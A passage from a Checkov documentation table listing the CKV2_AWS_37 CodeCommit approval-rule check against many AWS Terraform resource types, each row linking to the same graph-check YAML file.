[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  879 | CKV2_AWS_37     | resource | aws_codegurureviewer_repository_association                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  880 | CKV2_AWS_37     | resource | aws_codepipeline                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  881 | CKV2_AWS_37     | resource | aws_codepipeline_custom_action_type                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  882 | CKV2_AWS_37     | resource | aws_codepipeline_webhook                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  883 | CKV2_AWS_37     | resource | aws_codestarconnections_connection                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  884 | CKV2_AWS_37     | resource | aws_codestarconnections_host                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  885 | CKV2_AWS_37     | resource | aws_codestarnotifications_notification_rule                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  886 | CKV2_AWS_37     | resource | aws_cognito_identity_pool                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  887 | CKV2_AWS_37     | resource | aws_cognito_identity_pool_provider_principal_tag                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  888 | CKV2_AWS_37     | resource | aws_cognito_identity_pool_roles_attachment                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  889 | CKV2_AWS_37     | resource | aws_cognito_identity_provider                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  890 | CKV2_AWS_37     | resource | aws_cognito_managed_user_pool_client                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  891 | CKV2_AWS_37     | resource | aws_cognito_resource_server                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  892 | CKV2_AWS_37     | resource | aws_cognito_risk_configuration                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  893 | CKV2_AWS_37     | resource | aws_cognito_user                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  894 | CKV2_AWS_37     | resource | aws_cognito_user_group                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  895 | CKV2_AWS_37     | resource | aws_cognito_user_in_group                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  896 | CKV2_AWS_37     | resource | aws_cognito_user_pool                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  897 | CKV2_AWS_37     | resource | aws_cognito_user_pool_client                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  898 | CKV2_AWS_37     | resource | aws_cognito_user_pool_domain                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  899 | CKV2_AWS_37     | resource | aws_cognito_user_pool_ui_customization                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  900 | CKV2_AWS_37     | resource | aws_comprehend_document_classifier                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  901 | CKV2_AWS_37     | resource | aws_comprehend_entity_recognizer                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  902 | CKV2_AWS_37     | resource | aws_computeoptimizer_enrollment_status                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  903 | CKV2_AWS_37     | resource | aws_computeoptimizer_recommendation_preferences                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  904 | CKV2_AWS_37     | resource | aws_config_aggregate_authorization                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  905 | CKV2_AWS_37     | resource | aws_config_config_rule                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  906 | CKV2_AWS_37     | resource | aws_config_configuration_aggregator                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  907 | CKV2_AWS_37     | resource | aws_config_configuration_recorder                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  908 | CKV2_AWS_37     | resource | aws_config_configuration_recorder_status                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  909 | CKV2_AWS_37     | resource | aws_config_conformance_pack                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  910 | CKV2_AWS_37     | resource | aws_config_delivery_channel                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  911 | CKV2_AWS_37     | resource | aws_config_organization_conformance_pack                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  912 | CKV2_AWS_37     | resource | aws_config_organization_custom_policy_rule                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  913 | CKV2_AWS_37     | resource | aws_config_organization_custom_rule                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  914 | CKV2_AWS_37     | resource | aws_config_organization_managed_rule                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  915 | CKV2_AWS_37     | resource | aws_config_remediation_configuration                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  916 | CKV2_AWS_37     | resource | aws_config_retention_configuration                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  917 | CKV2_AWS_37     | resource | aws_connect_bot_association                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  918 | CKV2_AWS_37     | resource | aws_connect_contact_flow                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  919 | CKV2_AWS_37     | resource | aws_connect_contact_flow_module                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  920 | CKV2_AWS_37     | resource | aws_connect_hours_of_operation                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  921 | CKV2_AWS_37     | resource | aws_connect_instance                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  922 | CKV2_AWS_37     | resource | aws_connect_instance_storage_config                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  923 | CKV2_AWS_37     | resource | aws_connect_lambda_function_association                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  924 | CKV2_AWS_37     | resource | aws_connect_phone_number                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  925 | CKV2_AWS_37     | resource | aws_connect_queue                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  926 | CKV2_AWS_37     | resource | aws_connect_quick_connect                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  927 | CKV2_AWS_37     | resource | aws_connect_routing_profile                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  928 | CKV2_AWS_37     | resource | aws_connect_security_profile                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  929 | CKV2_AWS_37     | resource | aws_connect_user                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  930 | CKV2_AWS_37     | resource | aws_connect_user_hierarchy_group                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  931 | CKV2_AWS_37     | resource | aws_connect_user_hierarchy_structure                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  932 | CKV2_AWS_37     | resource | aws_connect_vocabulary                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  933 | CKV2_AWS_37     | resource | aws_controltower_control                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  934 | CKV2_AWS_37     | resource | aws_controltower_landing_zone                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  935 | CKV2_AWS_37     | resource | aws_costoptimizationhub_enrollment_status                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  936 | CKV2_AWS_37     | resource | aws_costoptimizationhub_preferences                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  937 | CKV2_AWS_37     | resource | aws_cur_report_definition                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  938 | CKV2_AWS_37     | resource | aws_customer_gateway                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  939 | CKV2_AWS_37     | resource | aws_customerprofiles_domain                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  940 | CKV2_AWS_37     | resource | aws_customerprofiles_profile                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  941 | CKV2_AWS_37     | resource | aws_dataexchange_data_set                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  942 | CKV2_AWS_37     | resource | aws_dataexchange_revision                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  943 | CKV2_AWS_37     | resource | aws_datapipeline_pipeline                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  944 | CKV2_AWS_37     | resource | aws_datapipeline_pipeline_definition                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  945 | CKV2_AWS_37     | resource | aws_datasync_agent                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  946 | CKV2_AWS_37     | resource | aws_datasync_location_azure_blob                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  947 | CKV2_AWS_37     | resource | aws_datasync_location_efs                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  948 | CKV2_AWS_37     | resource | aws_datasync_location_fsx_lustre_file_system                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  949 | CKV2_AWS_37     | resource | aws_datasync_location_fsx_ontap_file_system                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  950 | CKV2_AWS_37     | resource | aws_datasync_location_fsx_openzfs_file_system                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  951 | CKV2_AWS_37     | resource | aws_datasync_location_fsx_windows_file_system                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  952 | CKV2_AWS_37     | resource | aws_datasync_location_hdfs                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  953 | CKV2_AWS_37     | resource | aws_datasync_location_nfs                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  954 | CKV2_AWS_37     | resource | aws_datasync_location_object_storage                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  955 | CKV2_AWS_37     | resource | aws_datasync_location_s3                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  956 | CKV2_AWS_37     | resource | aws_datasync_location_smb                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  957 | CKV2_AWS_37     | resource | aws_datasync_task                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  958 | CKV2_AWS_37     | resource | aws_datazone_asset_type                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  959 | CKV2_AWS_37     | resource | aws_datazone_domain                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  960 | CKV2_AWS_37     | resource | aws_datazone_environment                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  961 | CKV2_AWS_37     | resource | aws_datazone_environment_blueprint_configuration                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  962 | CKV2_AWS_37     | resource | aws_datazone_environment_profile                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  963 | CKV2_AWS_37     | resource | aws_datazone_form_type                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  964 | CKV2_AWS_37     | resource | aws_datazone_glossary                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  965 | CKV2_AWS_37     | resource | aws_datazone_glossary_term                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  966 | CKV2_AWS_37     | resource | aws_datazone_project                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  967 | CKV2_AWS_37     | resource | aws_datazone_user_profile                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  968 | CKV2_AWS_37     | resource | aws_dax_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  969 | CKV2_AWS_37     | resource | aws_dax_parameter_group                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  970 | CKV2_AWS_37     | resource | aws_dax_subnet_group                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  971 | CKV2_AWS_37     | resource | aws_db_cluster_snapshot                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  972 | 